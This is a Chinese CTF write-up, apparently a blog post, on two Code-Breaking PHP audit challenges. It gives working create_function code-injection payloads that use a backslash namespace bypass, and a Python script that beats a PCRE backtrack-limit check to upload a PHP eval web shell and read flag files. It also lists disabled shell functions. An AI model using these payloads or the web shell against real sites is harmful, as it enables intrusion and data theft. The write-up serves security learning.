原本看到代码审计知识星球的内容时就很感兴趣,准备自己本地复现的。结果docker跟docker-compose下好了后郁师傅直接公网上搭好了四道easy难度的审计题目叫我们做hhh。
codebreaking的网站
https://code-breaking.com/
参考阅读了sky一叶飘零师傅的几篇博文:
https://skysec.top/2019/03/10/2018-Code-Breaking-1-function/
源码跟dockerfile可以在github上下,我自己没有docker知识储备的情况下也能依葫芦画瓢在本地搭好,大家也都可以试试自己做做呀。
function
第一道题目,php代码审计之function。
先放源码:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
?>
老实说第一题确实难到我了,开始前两行差点以为是代码出错了......后来了解到??三元运算符的存在,也就是说:
$action = $_GET['action'] ?? '';
等价于
$action = $_GET['action'] ? $_GET['action'] :'';
改成双目运算符就好看多了,作用也就和我们原来的isset()差不多,有输入取输入,否则为空。
然后就是正则部分了
preg_match('/^[a-z0-9_]*$/isD
其中修饰符
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]
/D 如果使用$限制结尾字符,则不允许结尾有换行;
不得不说实在是完备。数字,字母,下划线都过滤了,空格换行也没了,根本不知道有什么能够匹配的。如果从preg_match()的角度来讲,我们熟悉的是%0a开头,这样可以使preg_match()得结果判断为真。但此处为了达成命令执行的目的,必须使preg_match()判断为假才能到下面的else语句里面。所以,应该想着怎么顺应这个思路走下去。
这时候就得靠想的了。可以选择用burpsuite去爆破,但是我好像没有这样的字典......所以参考sky师傅改的脚本:
import requests
#url='http://139.199.203.253:8087/?action=&arg='
for i in range(1,256):
tmp = hex(i)[2:]
if len(tmp) < 2:
tmp = '0' + hex(i)[2:]
tmp = '%' + tmp
url='http://139.199.203.253:8087/?action='+tmp+'var_dump&arg=123'
r=requests.get(url=url)
if '123' in r.text:
print(r.text)
print(tmp)
break
FUZZ出来发现%5c可以直接绕过,而%5c就是\
,为什么%5c可以绕过呢?p牛解释如下:
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
看了后感觉一知半解,于是又看看其他的解释,大概明白了:
调用的相当于是全局的函数
那我们就相当于解决了第一个问题,下面来想想如何解决命令执行第二步:$action()应当是两个参数的函数。
发现sky师傅写的php代码注入相当全面啊
https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/
于是知道了create_function这一函数,稍微了解了其原理:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
相当于
function test($a,$b)
{
return "ln($a) + ln($b) = " . log($a * $b);
}
那对本题的$action('', $arg)
,假如令arg=echo ('Hello');}phpinfo();/*
相当于
function test($a,$b){
echo('Hello');
}phpinfo();/*
即可执行phpinfo()命令。
同样的还有exec()等等,实际上后来看源码里的disablefunction有:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
基本全过滤了嘛......好在通常print_r()与scandir()不会被过滤,昨天刚用过,于是试一下。在本目录看到index.php,在上级目录看到flag。
payload:
/?action=%5ccreate_function&arg=return%20%222333%22;}print_r(scandir(%27..%27));/*
/?action=%5ccreate_function&arg=return%20"2333";}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
flag
pcrewaf
第二道题则是正则回溯攻击,实际上之前也了接过这种方式,但是一直没有遇到相关题目......先看源码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
题目的pcre已经告诉我们了重点在于正则上。实际上从源码可以看出,有一个用于判断是否是php代码的函数。而整体流程允许用户上传文件,之后被file_get_contents()
读取,如果文件内容有php代码就失败。否则创建目录,并生成保存我们的文件。
既然如此,我们的最终目的当然是通过上传文件getshell了。而想要getshell,过正则是必须的。因此重心还是放在绕过正则上。
那么这个正则如何通过呢
preg_match('/<\?.*[(`;?>].*/is', $data)
首先就看到它匹配了<,? 这样的常规php开头,那么我们能否使用<%=
或者<script language="php">
绕过呢?貌似因为php版本号所以不行。那要如何绕过这一正则吃成为了难题。
于是找到p牛本人的文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
其中提到NFA(非确定性有限状态自动机)的部分就不表了,了解到的正则匹配原来存在回溯问题。对题目已有正则,和测试语句,以及sublime的正则匹配模式(ctrl+h开启)
<?php phpinfo(); ?>;//aaaaaaaaaa
正则匹配到<?时只需要
<?
而之后
<?.*
也就是说 .*就已经把后面的输入语句全部匹配完了,但是正则还没有结束,这时继续匹配[(`;?>]时,它就会开始回溯,显然//aaaaaaaaaa
是匹配不上这一表达式中的符号的,那么正则就会一直回溯,直到匹配到;分号才能继续下去。
而这居然也可以当做漏洞利用!因为这一回溯的次数是有限的,所以如果回溯超过上限......preg_match()就会返回false,也就绕过了正则。
(奇淫技巧大概如此吧,真的太神奇了。)
那么利用就很清晰了,我们把//aaa
多整点就可以打破回溯上限攻击。脚本如下(sky师傅的只适用python2吧,我小改了一下):
import requests
from io import BytesIO
url='http://139.199.203.253:8088/'
payload='<?php eval($_REQUEST[byc]);//'+'a' * 1000000
files = {
'file':BytesIO(payload.encode('utf-8'))
}
r=requests.post(url=url,files=files,allow_redirects=False)
path=r.headers['Location']
url+=path
data = {
#'byc':"print_r(scandir('../../../'));"
'byc':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"
}
r=requests.post(url,data)
print(r.text)
扫到上上上级拿到目录,之后直接读取即可
flag
不得不说这些题目技巧性非常强,也很长见识。看似可能的waf存在无限的可能。这就是安全人的思考角度吧。
还有两道明天写吧,明天就回武汉了hhh
网友评论